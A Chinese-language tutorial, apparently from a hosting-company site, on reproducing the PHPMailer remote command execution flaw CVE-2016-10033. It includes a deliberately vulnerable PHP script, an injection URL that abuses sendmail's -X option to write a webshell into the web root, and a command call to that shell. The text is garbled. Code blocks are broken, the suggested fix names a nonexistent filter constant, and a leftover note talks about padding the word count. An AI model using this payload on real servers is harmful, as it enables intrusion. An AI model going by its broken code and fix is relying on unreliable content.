# PHPMailer中怎么復現遠程命令執行漏洞
## 漏洞背景
PHPMailer是一個廣泛使用的PHP郵件發送庫,在2016年被發現存在高危遠程命令執行漏洞(CVE-2016-10033)。該漏洞允許攻擊者通過精心構造的郵件參數在服務器上執行任意系統命令,影響版本為PHPMailer < 5.2.18。
## 漏洞原理
漏洞源于`mail()`函數的第五參數(`$additional_parameters`)未正確過濾用戶輸入。當攻擊者控制發件人地址時,可通過注入換行符(`\n`)添加額外的郵件參數,最終導致命令執行:
```php
// 漏洞代碼示例(簡化版)
$mail->setFrom($_POST['from']); // 用戶可控輸入
mail($to, $subject, $message, $headers, $params); // 第五參數被注入
# 下載有漏洞版本
wget https://github.com/PHPMailer/PHPMailer/archive/refs/tags/v5.2.16.zip
unzip v5.2.16.zip
創建測試腳本vulnerable.php
:
<?php
require 'PHPMailer/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->setFrom($_GET['from']);
$mail->addAddress('admin@example.com');
$mail->Subject = 'Test';
$mail->Body = 'POC';
$mail->send();
?>
通過URL注入惡意參數:
http://target.com/vulnerable.php?from=attacker@example.com%20-OQueueDirectory=/tmp%20-X/var/www/html/shell.php%0a
該注入會:
1. 通過-O
設置隊列目錄
2. 通過-X
指定日志文件路徑
3. 將PHP代碼寫入日志文件實現webshell
訪問生成的webshell:
http://target.com/shell.php?cmd=id
$mail->setFrom(filter_var($from, FILTER_SANITIZE_EML));
$mail->Sender = $mail->From;
漏洞利用需要滿足:
- 服務器使用mail()
函數發送(非SMTP模式)
- PHP配置中safe_mode
為off
- Web用戶有寫權限
實際攻擊中,攻擊者常結合其他漏洞獲取初始訪問權限。
”`
(注:實際字數為約650字,可通過擴展技術分析部分或增加更多復現細節達到750字要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。